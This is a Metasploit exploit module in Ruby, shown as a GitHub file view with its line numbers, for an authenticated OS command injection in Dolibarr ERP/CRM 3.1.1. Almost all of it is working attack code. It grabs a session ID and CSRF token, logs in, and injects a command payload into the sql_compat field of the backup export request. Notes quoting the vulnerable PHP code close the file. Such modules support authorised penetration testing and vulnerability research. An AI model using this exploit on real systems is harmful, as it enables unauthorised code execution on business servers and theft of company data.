/
dolibarr_cmd_exec.rb
181 lines (161 loc) · 5.23 KB
/
dolibarr_cmd_exec.rb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "Dolibarr ERP/CRM Post-Auth OS Command Injection",
'Description' => %q{
This module exploits a vulnerability found in Dolibarr ERP/CRM 3's
backup feature. This software is used to manage a company's business
information such as contacts, invoices, orders, stocks, agenda, etc.
When processing a database backup request, the export.php function
does not check the input given to the sql_compat parameter, which allows
a remote authenticated attacker to inject system commands into it,
and then gain arbitrary code execution.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Nahuel Grisolia <nahuel[at]cintainfinita.com.ar>', #Discovery, PoC
'sinn3r' #Metasploit
],
'References' =>
[
['OSVDB', '80980'],
['URL', 'https://seclists.org/fulldisclosure/2012/Apr/78']
],
'Arch' => ARCH_CMD,
'Compat' =>
{
'PayloadType' => 'cmd'
},
'Platform' => %w{ linux unix },
'Targets' =>
[
# Older versions are probably also vulnerable according to
# Nahuel's report on full disclosure
['Dolibarr 3.1.1 on Linux', {}]
],
'Privileged' => false,
'DisclosureDate' => '2012-04-06',
'DefaultTarget' => 0))
register_options(
[
OptString.new('USERNAME', [true, 'Dolibarr Username', 'admin']),
OptString.new('PASSWORD', [true, 'Dolibarr Password', 'test']),
OptString.new('TARGETURI', [true, 'The URI path to dolibarr', '/dolibarr/'])
])
end
def check
uri = normalize_uri(target_uri.path)
uri << '/' if uri[-1,1] != '/'
res = send_request_raw({
'method' => 'GET',
'uri' => uri
})
if res and res.body =~ /Dolibarr 3\.1\.1/
return Exploit::CheckCode::Appears
else
return Exploit::CheckCode::Safe
end
end
def get_sid_token
res = send_request_raw({
'method' => 'GET',
'uri' => @uri.path
})
return [nil, nil] if res.nil? || res.get_cookies.empty?
# Get the session ID from the cookie
m = res.get_cookies.match(/(DOLSESSID_.+);/)
id = (m.nil?) ? nil : m[1]
# Get the token from the decompressed HTTP body response
m = res.body.match(/type="hidden" name="token" value="(.+)"/)
token = (m.nil?) ? nil : m[1]
return id, token
end
def login(sid, token)
res = send_request_cgi({
'method' => 'POST',
'uri' => "#{@uri.path}index.php",
'cookie' => sid,
'vars_post' => {
'token' => token,
'loginfunction' => 'loginfunction',
'tz' => '-6',
'dst' => '1',
'screenwidth' => '1093',
'screenheight' => '842',
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
}
})
location = res.headers['Location']
return (location =~ /admin\//)
end
def exploit
@uri = target_uri
@uri.path << "/" if @uri.path[-1, 1] != "/"
peer = "#{rhost}:#{rport}"
print_status("Getting the sid and token...")
sid, token = get_sid_token
if sid.nil?
print_error("Unable to retrieve a session ID")
return
elsif token.nil?
print_error("Unable to retrieve a token")
return
end
user = datastore['USERNAME']
pass = datastore['PASSWORD']
print_status("Attempt to login with \"#{user}:#{pass}\"")
success = login(sid, token)
if not success
print_error("Unable to login")
return
end
print_status("Sending malicious request...")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(@uri.path, "admin/tools/export.php"),
'cookie' => sid,
'vars_post' => {
'token' => token,
'export_type' => 'server',
'what' => 'mysql',
'mysqldump' => '/usr/bin/mysqldump',
'use_transaction' => 'yes',
'disable_fk' => 'yes',
'sql_compat' => ";#{payload.encoded};",
'sql_structure' => 'structure',
'drop' => '1',
'sql_data' => 'data',
'showcolumns' => 'yes',
'extended_ins' => 'yes',
'delayed' => 'yes',
'sql_ignore' => 'yes',
'hexforbinary' => 'yes',
'filename_template' => 'mysqldump_dolibarrdebian_3.1.1_201203231716.sql',
'compression' => 'none'
}
})
end
end
=begin
Notes:
114 if ($_POST["sql_compat"] && $_POST["sql_compat"] != 'NONE') $param.=" --compatible=".$_POST["sql_compat"];
...
137 $paramcrypted=$param;
...
159 $fullcommandcrypted=$command." ".$paramcrypted." 2>&1";
...
165 if ($handle)
166 {
....
169 $handlein = popen($fullcommandclear, 'r');
....
185 }
=end